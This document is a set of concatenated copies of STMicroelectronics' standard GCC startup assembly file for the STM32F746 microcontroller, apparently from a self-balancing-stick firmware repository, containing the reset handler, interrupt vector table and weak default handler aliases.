.thumb_set CAN1_SCE_IRQHandler,Default_Handler
.weak EXTI9_5_IRQHandler
.thumb_set EXTI9_5_IRQHandler,Default_Handler
.weak TIM1_BRK_TIM9_IRQHandler
.thumb_set TIM1_BRK_TIM9_IRQHandler,Default_Handler
.weak TIM1_UP_TIM10_IRQHandler
.thumb_set TIM1_UP_TIM10_IRQHandler,Default_Handler
.weak TIM1_TRG_COM_TIM11_IRQHandler
.thumb_set TIM1_TRG_COM_TIM11_IRQHandler,Default_Handler
.weak TIM1_CC_IRQHandler
.thumb_set TIM1_CC_IRQHandler,Default_Handler
.weak TIM2_IRQHandler
.thumb_set TIM2_IRQHandler,Default_Handler
.weak TIM3_IRQHandler
.thumb_set TIM3_IRQHandler,Default_Handler
.weak TIM4_IRQHandler
.thumb_set TIM4_IRQHandler,Default_Handler
.weak I2C1_EV_IRQHandler
.thumb_set I2C1_EV_IRQHandler,Default_Handler
.weak I2C1_ER_IRQHandler
.thumb_set I2C1_ER_IRQHandler,Default_Handler
.weak I2C2_EV_IRQHandler
.thumb_set I2C2_EV_IRQHandler,Default_Handler
.weak I2C2_ER_IRQHandler
.thumb_set I2C2_ER_IRQHandler,Default_Handler
.weak SPI1_IRQHandler
.thumb_set SPI1_IRQHandler,Default_Handler
.weak SPI2_IRQHandler
.thumb_set SPI2_IRQHandler,Default_Handler
.weak USART1_IRQHandler
.thumb_set USART1_IRQHandler,Default_Handler
.weak USART2_IRQHandler
.thumb_set USART2_IRQHandler,Default_Handler
.weak USART3_IRQHandler
.thumb_set USART3_IRQHandler,Default_Handler
.weak EXTI15_10_IRQHandler
.thumb_set EXTI15_10_IRQHandler,Default_Handler
.weak RTC_Alarm_IRQHandler
.thumb_set RTC_Alarm_IRQHandler,Default_Handler
.weak OTG_FS_WKUP_IRQHandler
.thumb_set OTG_FS_WKUP_IRQHandler,Default_Handler
.weak TIM8_BRK_TIM12_IRQHandler
.thumb_set TIM8_BRK_TIM12_IRQHandler,Default_Handler
.weak TIM8_UP_TIM13_IRQHandler
.thumb_set TIM8_UP_TIM13_IRQHandler,Default_Handler
.weak TIM8_TRG_COM_TIM14_IRQHandler
.thumb_set TIM8_TRG_COM_TIM14_IRQHandler,Default_Handler
.weak TIM8_CC_IRQHandler
.thumb_set TIM8_CC_IRQHandler,Default_Handler
.weak DMA1_Stream7_IRQHandler
.thumb_set DMA1_Stream7_IRQHandler,Default_Handler
.weak FMC_IRQHandler
.thumb_set FMC_IRQHandler,Default_Handler
.weak SDMMC1_IRQHandler
.thumb_set SDMMC1_IRQHandler,Default_Handler
.weak TIM5_IRQHandler
.thumb_set TIM5_IRQHandler,Default_Handler
.weak SPI3_IRQHandler
.thumb_set SPI3_IRQHandler,Default_Handler
.weak UART4_IRQHandler
.thumb_set UART4_IRQHandler,Default_Handler
.weak UART5_IRQHandler
.thumb_set UART5_IRQHandler,Default_Handler
.weak TIM6_DAC_IRQHandler
.thumb_set TIM6_DAC_IRQHandler,Default_Handler
.weak TIM7_IRQHandler
.thumb_set TIM7_IRQHandler,Default_Handler
.weak DMA2_Stream0_IRQHandler
.thumb_set DMA2_Stream0_IRQHandler,Default_Handler
.weak DMA2_Stream1_IRQHandler
.thumb_set DMA2_Stream1_IRQHandler,Default_Handler
.weak DMA2_Stream2_IRQHandler
.thumb_set DMA2_Stream2_IRQHandler,Default_Handler
.weak DMA2_Stream3_IRQHandler
.thumb_set DMA2_Stream3_IRQHandler,Default_Handler
.weak DMA2_Stream4_IRQHandler
.thumb_set DMA2_Stream4_IRQHandler,Default_Handler
.weak DMA2_Stream4_IRQHandler
.thumb_set DMA2_Stream4_IRQHandler,Default_Handler
.weak ETH_IRQHandler
.thumb_set ETH_IRQHandler,Default_Handler
.weak ETH_WKUP_IRQHandler
.thumb_set ETH_WKUP_IRQHandler,Default_Handler
.weak CAN2_TX_IRQHandler
.thumb_set CAN2_TX_IRQHandler,Default_Handler
.weak CAN2_RX0_IRQHandler
.thumb_set CAN2_RX0_IRQHandler,Default_Handler
.weak CAN2_RX1_IRQHandler
.thumb_set CAN2_RX1_IRQHandler,Default_Handler
.weak CAN2_SCE_IRQHandler
.thumb_set CAN2_SCE_IRQHandler,Default_Handler
.weak OTG_FS_IRQHandler
.thumb_set OTG_FS_IRQHandler,Default_Handler
.weak DMA2_Stream5_IRQHandler
.thumb_set DMA2_Stream5_IRQHandler,Default_Handler
.weak DMA2_Stream6_IRQHandler
.thumb_set DMA2_Stream6_IRQHandler,Default_Handler
.weak DMA2_Stream7_IRQHandler
.thumb_set DMA2_Stream7_IRQHandler,Default_Handler
.weak USART6_IRQHandler
.thumb_set USART6_IRQHandler,Default_Handler
.weak I2C3_EV_IRQHandler
.thumb_set I2C3_EV_IRQHandler,Default_Handler
.weak I2C3_ER_IRQHandler
.thumb_set I2C3_ER_IRQHandler,Default_Handler
.weak OTG_HS_EP1_OUT_IRQHandler
.thumb_set OTG_HS_EP1_OUT_IRQHandler,Default_Handler
.weak OTG_HS_EP1_IN_IRQHandler
.thumb_set OTG_HS_EP1_IN_IRQHandler,Default_Handler
.weak OTG_HS_WKUP_IRQHandler
.thumb_set OTG_HS_WKUP_IRQHandler,Default_Handler
.weak OTG_HS_IRQHandler
.thumb_set OTG_HS_IRQHandler,Default_Handler
.weak DCMI_IRQHandler
.thumb_set DCMI_IRQHandler,Default_Handler
.weak RNG_IRQHandler
.thumb_set RNG_IRQHandler,Default_Handler
.weak FPU_IRQHandler
.thumb_set FPU_IRQHandler,Default_Handler
.weak UART7_IRQHandler
.thumb_set UART7_IRQHandler,Default_Handler
.weak UART8_IRQHandler
.thumb_set UART8_IRQHandler,Default_Handler
.weak SPI4_IRQHandler
.thumb_set SPI4_IRQHandler,Default_Handler
.weak SPI5_IRQHandler
.thumb_set SPI5_IRQHandler,Default_Handler
.weak SPI6_IRQHandler
.thumb_set SPI6_IRQHandler,Default_Handler
.weak SAI1_IRQHandler
.thumb_set SAI1_IRQHandler,Default_Handler
.weak LTDC_IRQHandler
.thumb_set LTDC_IRQHandler,Default_Handler
.weak LTDC_ER_IRQHandler
.thumb_set LTDC_ER_IRQHandler,Default_Handler
.weak DMA2D_IRQHandler
.thumb_set DMA2D_IRQHandler,Default_Handler
.weak SAI2_IRQHandler
.thumb_set SAI2_IRQHandler,Default_Handler
.weak QUADSPI_IRQHandler
.thumb_set QUADSPI_IRQHandler,Default_Handler
.weak LPTIM1_IRQHandler
.thumb_set LPTIM1_IRQHandler,Default_Handler
.weak CEC_IRQHandler
.thumb_set CEC_IRQHandler,Default_Handler
.weak I2C4_EV_IRQHandler
.thumb_set I2C4_EV_IRQHandler,Default_Handler
.weak I2C4_ER_IRQHandler
.thumb_set I2C4_ER_IRQHandler,Default_Handler
.weak SPDIF_RX_IRQHandler
.thumb_set SPDIF_RX_IRQHandler,Default_Handler
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
AlanFord/self-balancing-stick | 25,811 | firmware/stm32HAL/imuTest2/Core/Startup/startup_stm32f746zgtx.s | /**
******************************************************************************
* @file startup_stm32f746xx.s
* @author MCD Application Team
* @brief STM32F746xx Devices vector table for GCC based toolchain.
* This module performs:
* - Set the initial SP
* - Set the initial PC == Reset_Handler,
* - Set the vector table entries with the exceptions ISR address
* - Branches to main in the C library (which eventually
* calls main()).
* After Reset the Cortex-M7 processor is in Thread mode,
* priority is Privileged, and the Stack is set to Main.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2016 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
.syntax unified
.cpu cortex-m7
.fpu softvfp
.thumb
.global g_pfnVectors
.global Default_Handler
/* start address for the initialization values of the .data section.
defined in linker script */
.word _sidata
/* start address for the .data section. defined in linker script */
.word _sdata
/* end address for the .data section. defined in linker script */
.word _edata
/* start address for the .bss section. defined in linker script */
.word _sbss
/* end address for the .bss section. defined in linker script */
.word _ebss
/* stack used for SystemInit_ExtMemCtl; always internal RAM used */
/**
* @brief This is the code that gets called when the processor first
* starts execution following a reset event. Only the absolutely
* necessary set is performed, after which the application
* supplied main() routine is called.
* @param None
* @retval : None
*/
.section .text.Reset_Handler
.weak Reset_Handler
.type Reset_Handler, %function
Reset_Handler:
ldr sp, =_estack /* set stack pointer */
/* Copy the data segment initializers from flash to SRAM */
ldr r0, =_sdata
ldr r1, =_edata
ldr r2, =_sidata
movs r3, #0
b LoopCopyDataInit
CopyDataInit:
ldr r4, [r2, r3]
str r4, [r0, r3]
adds r3, r3, #4
LoopCopyDataInit:
adds r4, r0, r3
cmp r4, r1
bcc CopyDataInit
/* Zero fill the bss segment. */
ldr r2, =_sbss
ldr r4, =_ebss
movs r3, #0
b LoopFillZerobss
FillZerobss:
str r3, [r2]
adds r2, r2, #4
LoopFillZerobss:
cmp r2, r4
bcc FillZerobss
/* Call the clock system initialization function.*/
bl SystemInit
/* Call static constructors */
bl __libc_init_array
/* Call the application's entry point.*/
bl main
bx lr
.size Reset_Handler, .-Reset_Handler
/**
* @brief This is the code that gets called when the processor receives an
* unexpected interrupt. This simply enters an infinite loop, preserving
* the system state for examination by a debugger.
* @param None
* @retval None
*/
.section .text.Default_Handler,"ax",%progbits
Default_Handler:
Infinite_Loop:
b Infinite_Loop
.size Default_Handler, .-Default_Handler
/******************************************************************************
*
* The minimal vector table for a Cortex M7. Note that the proper constructs
* must be placed on this to ensure that it ends up at physical address
* 0x0000.0000.
*
*******************************************************************************/
.section .isr_vector,"a",%progbits
.type g_pfnVectors, %object
.size g_pfnVectors, .-g_pfnVectors
g_pfnVectors:
.word _estack
.word Reset_Handler
.word NMI_Handler
.word HardFault_Handler
.word MemManage_Handler
.word BusFault_Handler
.word UsageFault_Handler
.word 0
.word 0
.word 0
.word 0
.word SVC_Handler
.word DebugMon_Handler
.word 0
.word PendSV_Handler
.word SysTick_Handler
/* External Interrupts */
.word WWDG_IRQHandler /* Window WatchDog */
.word PVD_IRQHandler /* PVD through EXTI Line detection */
.word TAMP_STAMP_IRQHandler /* Tamper and TimeStamps through the EXTI line */
.word RTC_WKUP_IRQHandler /* RTC Wakeup through the EXTI line */
.word FLASH_IRQHandler /* FLASH */
.word RCC_IRQHandler /* RCC */
.word EXTI0_IRQHandler /* EXTI Line0 */
.word EXTI1_IRQHandler /* EXTI Line1 */
.word EXTI2_IRQHandler /* EXTI Line2 */
.word EXTI3_IRQHandler /* EXTI Line3 */
.word EXTI4_IRQHandler /* EXTI Line4 */
.word DMA1_Stream0_IRQHandler /* DMA1 Stream 0 */
.word DMA1_Stream1_IRQHandler /* DMA1 Stream 1 */
.word DMA1_Stream2_IRQHandler /* DMA1 Stream 2 */
.word DMA1_Stream3_IRQHandler /* DMA1 Stream 3 */
.word DMA1_Stream4_IRQHandler /* DMA1 Stream 4 */
.word DMA1_Stream5_IRQHandler /* DMA1 Stream 5 */
.word DMA1_Stream6_IRQHandler /* DMA1 Stream 6 */
.word ADC_IRQHandler /* ADC1, ADC2 and ADC3s */
.word CAN1_TX_IRQHandler /* CAN1 TX */
.word CAN1_RX0_IRQHandler /* CAN1 RX0 */
.word CAN1_RX1_IRQHandler /* CAN1 RX1 */
.word CAN1_SCE_IRQHandler /* CAN1 SCE */
.word EXTI9_5_IRQHandler /* External Line[9:5]s */
.word TIM1_BRK_TIM9_IRQHandler /* TIM1 Break and TIM9 */
.word TIM1_UP_TIM10_IRQHandler /* TIM1 Update and TIM10 */
.word TIM1_TRG_COM_TIM11_IRQHandler /* TIM1 Trigger and Commutation and TIM11 */
.word TIM1_CC_IRQHandler /* TIM1 Capture Compare */
.word TIM2_IRQHandler /* TIM2 */
.word TIM3_IRQHandler /* TIM3 */
.word TIM4_IRQHandler /* TIM4 */
.word I2C1_EV_IRQHandler /* I2C1 Event */
.word I2C1_ER_IRQHandler /* I2C1 Error */
.word I2C2_EV_IRQHandler /* I2C2 Event */
.word I2C2_ER_IRQHandler /* I2C2 Error */
.word SPI1_IRQHandler /* SPI1 */
.word SPI2_IRQHandler /* SPI2 */
.word USART1_IRQHandler /* USART1 */
.word USART2_IRQHandler /* USART2 */
.word USART3_IRQHandler /* USART3 */
.word EXTI15_10_IRQHandler /* External Line[15:10]s */
.word RTC_Alarm_IRQHandler /* RTC Alarm (A and B) through EXTI Line */
.word OTG_FS_WKUP_IRQHandler /* USB OTG FS Wakeup through EXTI line */
.word TIM8_BRK_TIM12_IRQHandler /* TIM8 Break and TIM12 */
.word TIM8_UP_TIM13_IRQHandler /* TIM8 Update and TIM13 */
.word TIM8_TRG_COM_TIM14_IRQHandler /* TIM8 Trigger and Commutation and TIM14 */
.word TIM8_CC_IRQHandler /* TIM8 Capture Compare */
.word DMA1_Stream7_IRQHandler /* DMA1 Stream7 */
.word FMC_IRQHandler /* FMC */
.word SDMMC1_IRQHandler /* SDMMC1 */
.word TIM5_IRQHandler /* TIM5 */
.word SPI3_IRQHandler /* SPI3 */
.word UART4_IRQHandler /* UART4 */
.word UART5_IRQHandler /* UART5 */
.word TIM6_DAC_IRQHandler /* TIM6 and DAC1&2 underrun errors */
.word TIM7_IRQHandler /* TIM7 */
.word DMA2_Stream0_IRQHandler /* DMA2 Stream 0 */
.word DMA2_Stream1_IRQHandler /* DMA2 Stream 1 */
.word DMA2_Stream2_IRQHandler /* DMA2 Stream 2 */
.word DMA2_Stream3_IRQHandler /* DMA2 Stream 3 */
.word DMA2_Stream4_IRQHandler /* DMA2 Stream 4 */
.word ETH_IRQHandler /* Ethernet */
.word ETH_WKUP_IRQHandler /* Ethernet Wakeup through EXTI line */
.word CAN2_TX_IRQHandler /* CAN2 TX */
.word CAN2_RX0_IRQHandler /* CAN2 RX0 */
.word CAN2_RX1_IRQHandler /* CAN2 RX1 */
.word CAN2_SCE_IRQHandler /* CAN2 SCE */
.word OTG_FS_IRQHandler /* USB OTG FS */
.word DMA2_Stream5_IRQHandler /* DMA2 Stream 5 */
.word DMA2_Stream6_IRQHandler /* DMA2 Stream 6 */
.word DMA2_Stream7_IRQHandler /* DMA2 Stream 7 */
.word USART6_IRQHandler /* USART6 */
.word I2C3_EV_IRQHandler /* I2C3 event */
.word I2C3_ER_IRQHandler /* I2C3 error */
.word OTG_HS_EP1_OUT_IRQHandler /* USB OTG HS End Point 1 Out */
.word OTG_HS_EP1_IN_IRQHandler /* USB OTG HS End Point 1 In */
.word OTG_HS_WKUP_IRQHandler /* USB OTG HS Wakeup through EXTI */
.word OTG_HS_IRQHandler /* USB OTG HS */
.word DCMI_IRQHandler /* DCMI */
.word 0 /* Reserved */
.word RNG_IRQHandler /* Rng */
.word FPU_IRQHandler /* FPU */
.word UART7_IRQHandler /* UART7 */
.word UART8_IRQHandler /* UART8 */
.word SPI4_IRQHandler /* SPI4 */
.word SPI5_IRQHandler /* SPI5 */
.word SPI6_IRQHandler /* SPI6 */
.word SAI1_IRQHandler /* SAI1 */
.word LTDC_IRQHandler /* LTDC */
.word LTDC_ER_IRQHandler /* LTDC error */
.word DMA2D_IRQHandler /* DMA2D */
.word SAI2_IRQHandler /* SAI2 */
.word QUADSPI_IRQHandler /* QUADSPI */
.word LPTIM1_IRQHandler /* LPTIM1 */
.word CEC_IRQHandler /* HDMI_CEC */
.word I2C4_EV_IRQHandler /* I2C4 Event */
.word I2C4_ER_IRQHandler /* I2C4 Error */
.word SPDIF_RX_IRQHandler /* SPDIF_RX */
/*******************************************************************************
*
* Provide weak aliases for each Exception handler to the Default_Handler.
* As they are weak aliases, any function with the same name will override
* this definition.
*
*******************************************************************************/
.weak NMI_Handler
.thumb_set NMI_Handler,Default_Handler
.weak HardFault_Handler
.thumb_set HardFault_Handler,Default_Handler
.weak MemManage_Handler
.thumb_set MemManage_Handler,Default_Handler
.weak BusFault_Handler
.thumb_set BusFault_Handler,Default_Handler
.weak UsageFault_Handler
.thumb_set UsageFault_Handler,Default_Handler
.weak SVC_Handler
.thumb_set SVC_Handler,Default_Handler
.weak DebugMon_Handler
.thumb_set DebugMon_Handler,Default_Handler
.weak PendSV_Handler
.thumb_set PendSV_Handler,Default_Handler
.weak SysTick_Handler
.thumb_set SysTick_Handler,Default_Handler
.weak WWDG_IRQHandler
.thumb_set WWDG_IRQHandler,Default_Handler
.weak PVD_IRQHandler
.thumb_set PVD_IRQHandler,Default_Handler
.weak TAMP_STAMP_IRQHandler
.thumb_set TAMP_STAMP_IRQHandler,Default_Handler
.weak RTC_WKUP_IRQHandler
.thumb_set RTC_WKUP_IRQHandler,Default_Handler
.weak FLASH_IRQHandler
.thumb_set FLASH_IRQHandler,Default_Handler
.weak RCC_IRQHandler
.thumb_set RCC_IRQHandler,Default_Handler
.weak EXTI0_IRQHandler
.thumb_set EXTI0_IRQHandler,Default_Handler
.weak EXTI1_IRQHandler
.thumb_set EXTI1_IRQHandler,Default_Handler
.weak EXTI2_IRQHandler
.thumb_set EXTI2_IRQHandler,Default_Handler
.weak EXTI3_IRQHandler
.thumb_set EXTI3_IRQHandler,Default_Handler
.weak EXTI4_IRQHandler
.thumb_set EXTI4_IRQHandler,Default_Handler
.weak DMA1_Stream0_IRQHandler
.thumb_set DMA1_Stream0_IRQHandler,Default_Handler
.weak DMA1_Stream1_IRQHandler
.thumb_set DMA1_Stream1_IRQHandler,Default_Handler
.weak DMA1_Stream2_IRQHandler
.thumb_set DMA1_Stream2_IRQHandler,Default_Handler
.weak DMA1_Stream3_IRQHandler
.thumb_set DMA1_Stream3_IRQHandler,Default_Handler
.weak DMA1_Stream4_IRQHandler
.thumb_set DMA1_Stream4_IRQHandler,Default_Handler
.weak DMA1_Stream5_IRQHandler
.thumb_set DMA1_Stream5_IRQHandler,Default_Handler
.weak DMA1_Stream6_IRQHandler
.thumb_set DMA1_Stream6_IRQHandler,Default_Handler
.weak ADC_IRQHandler
.thumb_set ADC_IRQHandler,Default_Handler
.weak CAN1_TX_IRQHandler
.thumb_set CAN1_TX_IRQHandler,Default_Handler
.weak CAN1_RX0_IRQHandler
.thumb_set CAN1_RX0_IRQHandler,Default_Handler
.weak CAN1_RX1_IRQHandler
.thumb_set CAN1_RX1_IRQHandler,Default_Handler
.weak CAN1_SCE_IRQHandler
.thumb_set CAN1_SCE_IRQHandler,Default_Handler
.weak EXTI9_5_IRQHandler
.thumb_set EXTI9_5_IRQHandler,Default_Handler
.weak TIM1_BRK_TIM9_IRQHandler
.thumb_set TIM1_BRK_TIM9_IRQHandler,Default_Handler
.weak TIM1_UP_TIM10_IRQHandler
.thumb_set TIM1_UP_TIM10_IRQHandler,Default_Handler
.weak TIM1_TRG_COM_TIM11_IRQHandler
.thumb_set TIM1_TRG_COM_TIM11_IRQHandler,Default_Handler
.weak TIM1_CC_IRQHandler
.thumb_set TIM1_CC_IRQHandler,Default_Handler
.weak TIM2_IRQHandler
.thumb_set TIM2_IRQHandler,Default_Handler
.weak TIM3_IRQHandler
.thumb_set TIM3_IRQHandler,Default_Handler
.weak TIM4_IRQHandler
.thumb_set TIM4_IRQHandler,Default_Handler
.weak I2C1_EV_IRQHandler
.thumb_set I2C1_EV_IRQHandler,Default_Handler
.weak I2C1_ER_IRQHandler
.thumb_set I2C1_ER_IRQHandler,Default_Handler
.weak I2C2_EV_IRQHandler
.thumb_set I2C2_EV_IRQHandler,Default_Handler
.weak I2C2_ER_IRQHandler
.thumb_set I2C2_ER_IRQHandler,Default_Handler
.weak SPI1_IRQHandler
.thumb_set SPI1_IRQHandler,Default_Handler
.weak SPI2_IRQHandler
.thumb_set SPI2_IRQHandler,Default_Handler
.weak USART1_IRQHandler
.thumb_set USART1_IRQHandler,Default_Handler
.weak USART2_IRQHandler
.thumb_set USART2_IRQHandler,Default_Handler
.weak USART3_IRQHandler
.thumb_set USART3_IRQHandler,Default_Handler
.weak EXTI15_10_IRQHandler
.thumb_set EXTI15_10_IRQHandler,Default_Handler
.weak RTC_Alarm_IRQHandler
.thumb_set RTC_Alarm_IRQHandler,Default_Handler
.weak OTG_FS_WKUP_IRQHandler
.thumb_set OTG_FS_WKUP_IRQHandler,Default_Handler
.weak TIM8_BRK_TIM12_IRQHandler
.thumb_set TIM8_BRK_TIM12_IRQHandler,Default_Handler
.weak TIM8_UP_TIM13_IRQHandler
.thumb_set TIM8_UP_TIM13_IRQHandler,Default_Handler
.weak TIM8_TRG_COM_TIM14_IRQHandler
.thumb_set TIM8_TRG_COM_TIM14_IRQHandler,Default_Handler
.weak TIM8_CC_IRQHandler
.thumb_set TIM8_CC_IRQHandler,Default_Handler
.weak DMA1_Stream7_IRQHandler
.thumb_set DMA1_Stream7_IRQHandler,Default_Handler
.weak FMC_IRQHandler
.thumb_set FMC_IRQHandler,Default_Handler
.weak SDMMC1_IRQHandler
.thumb_set SDMMC1_IRQHandler,Default_Handler
.weak TIM5_IRQHandler
.thumb_set TIM5_IRQHandler,Default_Handler
.weak SPI3_IRQHandler
.thumb_set SPI3_IRQHandler,Default_Handler
.weak UART4_IRQHandler
.thumb_set UART4_IRQHandler,Default_Handler
.weak UART5_IRQHandler
.thumb_set UART5_IRQHandler,Default_Handler
.weak TIM6_DAC_IRQHandler
.thumb_set TIM6_DAC_IRQHandler,Default_Handler
.weak TIM7_IRQHandler
.thumb_set TIM7_IRQHandler,Default_Handler
.weak DMA2_Stream0_IRQHandler
.thumb_set DMA2_Stream0_IRQHandler,Default_Handler
.weak DMA2_Stream1_IRQHandler
.thumb_set DMA2_Stream1_IRQHandler,Default_Handler
.weak DMA2_Stream2_IRQHandler
.thumb_set DMA2_Stream2_IRQHandler,Default_Handler
.weak DMA2_Stream3_IRQHandler
.thumb_set DMA2_Stream3_IRQHandler,Default_Handler
.weak DMA2_Stream4_IRQHandler
.thumb_set DMA2_Stream4_IRQHandler,Default_Handler
.weak DMA2_Stream4_IRQHandler
.thumb_set DMA2_Stream4_IRQHandler,Default_Handler
.weak ETH_IRQHandler
.thumb_set ETH_IRQHandler,Default_Handler
.weak ETH_WKUP_IRQHandler
.thumb_set ETH_WKUP_IRQHandler,Default_Handler
.weak CAN2_TX_IRQHandler
.thumb_set CAN2_TX_IRQHandler,Default_Handler
.weak CAN2_RX0_IRQHandler
.thumb_set CAN2_RX0_IRQHandler,Default_Handler
.weak CAN2_RX1_IRQHandler
.thumb_set CAN2_RX1_IRQHandler,Default_Handler
.weak CAN2_SCE_IRQHandler
.thumb_set CAN2_SCE_IRQHandler,Default_Handler
.weak OTG_FS_IRQHandler
.thumb_set OTG_FS_IRQHandler,Default_Handler
.weak DMA2_Stream5_IRQHandler
.thumb_set DMA2_Stream5_IRQHandler,Default_Handler
.weak DMA2_Stream6_IRQHandler
.thumb_set DMA2_Stream6_IRQHandler,Default_Handler
.weak DMA2_Stream7_IRQHandler
.thumb_set DMA2_Stream7_IRQHandler,Default_Handler
.weak USART6_IRQHandler
.thumb_set USART6_IRQHandler,Default_Handler
.weak I2C3_EV_IRQHandler
.thumb_set I2C3_EV_IRQHandler,Default_Handler
.weak I2C3_ER_IRQHandler
.thumb_set I2C3_ER_IRQHandler,Default_Handler
.weak OTG_HS_EP1_OUT_IRQHandler
.thumb_set OTG_HS_EP1_OUT_IRQHandler,Default_Handler
.weak OTG_HS_EP1_IN_IRQHandler
.thumb_set OTG_HS_EP1_IN_IRQHandler,Default_Handler
.weak OTG_HS_WKUP_IRQHandler
.thumb_set OTG_HS_WKUP_IRQHandler,Default_Handler
.weak OTG_HS_IRQHandler
.thumb_set OTG_HS_IRQHandler,Default_Handler
.weak DCMI_IRQHandler
.thumb_set DCMI_IRQHandler,Default_Handler
.weak RNG_IRQHandler
.thumb_set RNG_IRQHandler,Default_Handler
.weak FPU_IRQHandler
.thumb_set FPU_IRQHandler,Default_Handler
.weak UART7_IRQHandler
.thumb_set UART7_IRQHandler,Default_Handler
.weak UART8_IRQHandler
.thumb_set UART8_IRQHandler,Default_Handler
.weak SPI4_IRQHandler
.thumb_set SPI4_IRQHandler,Default_Handler
.weak SPI5_IRQHandler
.thumb_set SPI5_IRQHandler,Default_Handler
.weak SPI6_IRQHandler
.thumb_set SPI6_IRQHandler,Default_Handler
.weak SAI1_IRQHandler
.thumb_set SAI1_IRQHandler,Default_Handler
.weak LTDC_IRQHandler
.thumb_set LTDC_IRQHandler,Default_Handler
.weak LTDC_ER_IRQHandler
.thumb_set LTDC_ER_IRQHandler,Default_Handler
.weak DMA2D_IRQHandler
.thumb_set DMA2D_IRQHandler,Default_Handler
.weak SAI2_IRQHandler
.thumb_set SAI2_IRQHandler,Default_Handler
.weak QUADSPI_IRQHandler
.thumb_set QUADSPI_IRQHandler,Default_Handler
.weak LPTIM1_IRQHandler
.thumb_set LPTIM1_IRQHandler,Default_Handler
.weak CEC_IRQHandler
.thumb_set CEC_IRQHandler,Default_Handler
.weak I2C4_EV_IRQHandler
.thumb_set I2C4_EV_IRQHandler,Default_Handler
.weak I2C4_ER_IRQHandler
.thumb_set I2C4_ER_IRQHandler,Default_Handler
.weak SPDIF_RX_IRQHandler
.thumb_set SPDIF_RX_IRQHandler,Default_Handler
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
AlanFord/self-balancing-stick | 25,811 | firmware/stm32HAL/f746/Core/Startup/startup_stm32f746zgtx.s | /**
******************************************************************************
* @file startup_stm32f746xx.s
* @author MCD Application Team
* @brief STM32F746xx Devices vector table for GCC based toolchain.
* This module performs:
* - Set the initial SP
* - Set the initial PC == Reset_Handler,
* - Set the vector table entries with the exceptions ISR address
* - Branches to main in the C library (which eventually
* calls main()).
* After Reset the Cortex-M7 processor is in Thread mode,
* priority is Privileged, and the Stack is set to Main.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2016 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
.syntax unified
.cpu cortex-m7
.fpu softvfp
.thumb
.global g_pfnVectors
.global Default_Handler
/* start address for the initialization values of the .data section.
defined in linker script */
.word _sidata
/* start address for the .data section. defined in linker script */
.word _sdata
/* end address for the .data section. defined in linker script */
.word _edata
/* start address for the .bss section. defined in linker script */
.word _sbss
/* end address for the .bss section. defined in linker script */
.word _ebss
/* stack used for SystemInit_ExtMemCtl; always internal RAM used */
/**
* @brief This is the code that gets called when the processor first
* starts execution following a reset event. Only the absolutely
* necessary set is performed, after which the application
* supplied main() routine is called.
* @param None
* @retval : None
*/
.section .text.Reset_Handler
.weak Reset_Handler
.type Reset_Handler, %function
Reset_Handler:
ldr sp, =_estack /* set stack pointer */
/* Copy the data segment initializers from flash to SRAM */
ldr r0, =_sdata
ldr r1, =_edata
ldr r2, =_sidata
movs r3, #0
b LoopCopyDataInit
CopyDataInit:
ldr r4, [r2, r3]
str r4, [r0, r3]
adds r3, r3, #4
LoopCopyDataInit:
adds r4, r0, r3
cmp r4, r1
bcc CopyDataInit
/* Zero fill the bss segment. */
ldr r2, =_sbss
ldr r4, =_ebss
movs r3, #0
b LoopFillZerobss
FillZerobss:
str r3, [r2]
adds r2, r2, #4
LoopFillZerobss:
cmp r2, r4
bcc FillZerobss
/* Call the clock system initialization function.*/
bl SystemInit
/* Call static constructors */
bl __libc_init_array
/* Call the application's entry point.*/
bl main
bx lr
.size Reset_Handler, .-Reset_Handler
/**
* @brief This is the code that gets called when the processor receives an
* unexpected interrupt. This simply enters an infinite loop, preserving
* the system state for examination by a debugger.
* @param None
* @retval None
*/
.section .text.Default_Handler,"ax",%progbits
Default_Handler:
Infinite_Loop:
b Infinite_Loop
.size Default_Handler, .-Default_Handler
/******************************************************************************
*
* The minimal vector table for a Cortex M7. Note that the proper constructs
* must be placed on this to ensure that it ends up at physical address
* 0x0000.0000.
*
*******************************************************************************/
.section .isr_vector,"a",%progbits
.type g_pfnVectors, %object
.size g_pfnVectors, .-g_pfnVectors
g_pfnVectors:
.word _estack
.word Reset_Handler
.word NMI_Handler
.word HardFault_Handler
.word MemManage_Handler
.word BusFault_Handler
.word UsageFault_Handler
.word 0
.word 0
.word 0
.word 0
.word SVC_Handler
.word DebugMon_Handler
.word 0
.word PendSV_Handler
.word SysTick_Handler
/* External Interrupts */
.word WWDG_IRQHandler /* Window WatchDog */
.word PVD_IRQHandler /* PVD through EXTI Line detection */
.word TAMP_STAMP_IRQHandler /* Tamper and TimeStamps through the EXTI line */
.word RTC_WKUP_IRQHandler /* RTC Wakeup through the EXTI line */
.word FLASH_IRQHandler /* FLASH */
.word RCC_IRQHandler /* RCC */
.word EXTI0_IRQHandler /* EXTI Line0 */
.word EXTI1_IRQHandler /* EXTI Line1 */
.word EXTI2_IRQHandler /* EXTI Line2 */
.word EXTI3_IRQHandler /* EXTI Line3 */
.word EXTI4_IRQHandler /* EXTI Line4 */
.word DMA1_Stream0_IRQHandler /* DMA1 Stream 0 */
.word DMA1_Stream1_IRQHandler /* DMA1 Stream 1 */
.word DMA1_Stream2_IRQHandler /* DMA1 Stream 2 */
.word DMA1_Stream3_IRQHandler /* DMA1 Stream 3 */
.word DMA1_Stream4_IRQHandler /* DMA1 Stream 4 */
.word DMA1_Stream5_IRQHandler /* DMA1 Stream 5 */
.word DMA1_Stream6_IRQHandler /* DMA1 Stream 6 */
.word ADC_IRQHandler /* ADC1, ADC2 and ADC3s */
.word CAN1_TX_IRQHandler /* CAN1 TX */
.word CAN1_RX0_IRQHandler /* CAN1 RX0 */
.word CAN1_RX1_IRQHandler /* CAN1 RX1 */
.word CAN1_SCE_IRQHandler /* CAN1 SCE */
.word EXTI9_5_IRQHandler /* External Line[9:5]s */
